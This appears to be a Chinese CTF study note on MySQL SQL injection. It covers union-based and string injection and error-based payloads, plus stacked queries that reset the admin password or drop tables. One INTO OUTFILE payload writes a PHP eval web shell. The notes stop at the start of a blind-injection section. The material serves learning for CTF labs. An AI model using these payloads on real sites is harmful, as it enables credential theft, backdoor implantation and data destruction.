一.回显型的sql注入#

这种注入是看题目存在回显的时候使用，虽然我遇到的大部分题型都是有回显的。

##数字型：#

id=-1 UNION SELECT 1, user(), 3(数字型)

1
源码:
2
$id = $_GET['id'];
3
// 注意：这里的 $id 两边没有单引号
4
$sql = "SELECT * FROM news WHERE id = $id";

拼接后得到 SELECT * FROM news WHERE id = -1 UNION SELECT 1, user(), 3

原理：利用变量周围不存在单引号的情况，将我们希望执行的命令拼接进入sql语句。在这里就是让数据库去找id=-1的内容，但由于id=-1没有内容， 返回为null，再通过union，将前半段命令和后半段命令连接起来，使数据库不显示原本news的东西，而是显示1，use(),3。user()是mysql中的一个函数，作用是显示当前数据库的登入用户。

id=-1 UNION SELECT 1, database(), 3(数字型)

1
源码:
2
$id = $_GET['id'];
3
// 注意：无引号保护
4
$sql = "SELECT * FROM news WHERE id = $id";

拼接后得到 SELECT * FROM news WHERE id = -1 UNION SELECT 1, database(), 3

原理： 利用变量周围不存在单引号的情况，将 SQL 命令拼接进去。这里同样让前半段 id=-1 返回空（null）。然后通过 UNION，在原本显示其他内容的位置显示datebase()函数的值。database(): MySQL 的内置函数，作用是显示当前网站正在使用的数据库名称（比如 ctf_db）。

id=-1 UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database()(数字型)

1
$id = $_GET['id'];
2
// 注意：无引号保护
3
$sql = "SELECT * FROM news WHERE id = $id";

拼接后得到: SELECT * FROM news WHERE id = -1 UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database()

原理：除了基本的 UNION 拼接外，这里又多了一些内容。

1. information_schema.tables: 这是 MySQL 自带的一个元数据库表，里面记录了整个数据库服务器里所有表的名单。
2. WHERE table_schema=database(): 加这个条件是为了过滤，只筛选出当前网站数据库里的表名，防止把其他的都查出来。
3. group_concat(table_name): 这一点至关重要。因为网页的回显位通常只有一行，而表名可能有好几个。如果直接查，只能显示第一个。group_concat 的作用是将多行查询结果合并成一个字符串（用逗号分隔），全部打包显示出来。

1
id=-1 UNION SELECT 1, 2, 3

1
id=-1 UNION SELECT 1, database(), 3

1
id=-1 UNION SELECT 1, group_concat(table_name), 3
2
FROM information_schema.tables
3
WHERE table_schema = '数据库'

1
id=-1 UNION SELECT 1, group_concat(column_name), 3
2
FROM information_schema.columns
3
WHERE table_name = 'users'

1
id=-1 UNION SELECT 1, group_concat(username, '~', password), 3
2
FROM users

##字符型：#

除了数字型的，还有字符型的。

两位的区别就是在于，获取参数的地方，字符型的，参数加上了单引号或双引号。

1
假设后端代码是这样的：
2
$id = $_GET['id'];
3
// 注意：变量 $id 被单引号包裹
4
$sql = "SELECT * FROM users WHERE id = '$id'";

如果你还用数字型的 Payload：id=-1 UNION SELECT 1, database(), 3。

拼接后的 SQL 变成了：SELECT * FROM users WHERE id = '-1 UNION SELECT 1, database(), 3'

结果： 数据库把我们注入的整体当成了一个普通的字符串 ID。它会去查找 ID 为 "-1 UNION SELECT 1, database(), 3" 的用户。这显然查不到，但也不会报错，更不会执行你的命令。所以我们的注入就完全没有起到作用了。

因此，在字符型中，我们就需要学会闭合，注释…

比如说：

1
SELECT * FROM users WHERE id = '$id'

##延伸：文件注入#

这个我在做sql lab 第七题时候新见到的，

因为不管怎么注入，如果语句正确，题目只会回显：

1
Welcome    Dhakkan
2
You are in.... Use outfile......

说明正确注入时，所有的回显都被后台设置为了这样的语句。

然后采用报错注入，就一直显示sql语句错误。

搜索一番后，才明白，这个延伸类型。

所以，这边就暂时总结一个使用文件注入的背景。

1
无回显环境：当页面不显示任何数据库查询结果，甚至连报错信息都不给时，文件注入可以把结果“写”出来给你看。

后端源码：

1
$id = $_GET['id'];
2
$sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
3
$result = mysqli_query($conn, $sql);
4
$row = mysqli_fetch_array($result);
5
if($row) {
6
    echo "You are in.... Use outfile......";
7
} else {
8
    echo "You have an error in your SQL syntax";
9
}

先进行的是探测攻击。

这边用的命令跟前面的差不了多少。

找到恰好使网页显示sql语句错误的闭合方式，然后用 ?id=1 ORDER BY ? 判断列数。

之后便是查看文件的写入路径，毕竟我们得先有路径才能直接文件写入的注入攻击。

常用的方法两种：

一.

phpinfo.php 直接访问。

当然了这个方法大部分时候都无法成功，所以我们就得用第二种了。

二.

强制报错：

1. 给参数传一个它无法处理的类型，例如：?id=1[]（把 ID 变成数组）。

2. 访问一个不存在的文件或故意造成逻辑错误：?id=-1''))。

其他的方法待搜集，不过猜是万法。

这边给一个小表格：

可以根据服务器环境直接猜测位置。

当知道了文件绝对路径后，我们就可以进行攻击了。

注入?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "C:\\phpStudy\\WWW\\shell.php" --+

1. extractvalue()#

这是最接近 updatexml() 的替代品，原理完全相同（都是 XPath 语法错误）。

1
AND extractvalue(1, concat(0x7e, (SELECT user()), 0x7e))

2. floor() + rand() + group by#

这是最经典的报错注入方式，通杀 MySQL 5.x 到 8.x 版本。利用 group by 在临时表插入数据时的主键冲突（Duplicate entry）报错。

1
AND (SELECT 1 FROM (SELECT count(*), concat(user(), floor(rand(0)*2)) x FROM information_schema.tables GROUP BY x) a)

3. 几何函数报错#

在较新的 MySQL 版本（尤其是 5.7 和 8.0）中，引入了很多处理几何数据的函数。如果传入非法的格式，它们也会报错并回显数据。

1
AND ST_LatFromGeoHash(concat(0x7e, (SELECT user()), 0x7e))

1
AND ST_LongFromGeoHash(concat(0x7e, (SELECT user()), 0x7e))

1
AND ST_PointFromGeoHash(concat(0x7e, (SELECT user()), 0x7e))

4. GTID 函数报错#

利用全局事务标识符（GTID）相关函数进行报错。

1
AND GTID_SUBSET(concat(0x7e, (SELECT user()), 0x7e), 1)

1
AND GTID_SUBTRACT(concat(0x7e, (SELECT user()), 0x7e), 1)

5. 数学/溢出报错#

利用数学指数函数 exp() 产生双精度浮点数溢出错误。

1
AND exp(~(SELECT * FROM (SELECT user()) a))

当然了，报错注入不可能只有这么点，具体情况具体分析。

背景：#

并不是所有的环境都能玩堆叠。它有两个硬性门槛：

1. 后端代码支持：比如 PHP 中必须使用 mysqli_multi_query() 函数。如果只用普通的 mysqli_query()，它遇到分号就会报错或者只执行第一条，堆叠就失效了。
2. 数据库类型：MySQL、MSSQL、PostgreSQL 支持得很香，但 Oracle 默认就不太支持这种玩儿法。

逻辑对比：#

Step 1: 确认漏洞 & 尝试闭合#

和字符型注入一样，我们先得“逃逸”出来。

假设后端源码：

1
$uname = $_GET['uname'];
2
$sql = "SELECT * FROM users WHERE uname = '$uname'";
3
mysqli_multi_query($db, $sql); // 关键函数！

Payload 探测：

?uname=admin'; select sleep(5); --+

拼接后的 SQL：

SELECT * FROM users WHERE uname = ‘admin’; select sleep(5); —+’

现象： 如果网页转了 5 秒才加载出来，说明堆叠注入成功生效了！它执行完查询后，又乖乖去跑了我们的 sleep 命令。

Step 2: 绕过死板的逻辑#

有时候，题目会有一个非常恶心的判断：

if ($ $ row[1] === $uname) { die($flag); }

这个逻辑要求数据库查出来的结果必须和输入的攻击代码一模一样。这时候 UNION 就没戏了，因为 UNION 出来的东西很难同时满足“注入”又满足“等式”。

攻击思路：先存后取。

1. 第一步：注入一条你喜欢的用户数据。

   Payload: ?uname=-1'; INSERT INTO users(id, uname, password) VALUES(888, 'moyu', '123'); --+

   这时候，数据库里就多了一个用户名为 ‘moyu’ 的人。

2. 第二步：用这个合法的用户名登录。

   Payload: ?uname=moyu

   后端执行：SELECT * FROM users WHERE uname = ‘moyu’;

   PHP 判断：if (‘moyu’ === ‘moyu’) -> 成立！ [HNCTF 2022 WEEK4]fun_sql(实战)

Step 3: 极致破坏#

既然能执行任何命令，堆叠注入在渗透测试中往往用来干这些事：

1. 改密码：1'; UPDATE users SET password='123' WHERE username='admin'; --+

2. 删库：1'; DROP TABLE users; --+

3. 重命名表名（绕过黑名单）：

   有些题目过滤了 flag 关键字，我们可以把 users 改名成 xxx，再把包含 flag 的表改名成 users：

   1'; RENAME TABLE users TO users1; RENAME TABLE words TO users; --+

小总结：#

堆叠注入就像是给了你一个远程的 SQL 终端。

• 优点：权限极高，可以修改数据，不依赖回显。
• 缺点：极其依赖 multi_query 这个函数，实战中这种配置其实不多。

二.无回显的sql注入#

这类型的题目主要就是，不管你注入什么，完全就没有回显，是错是对完全不知道。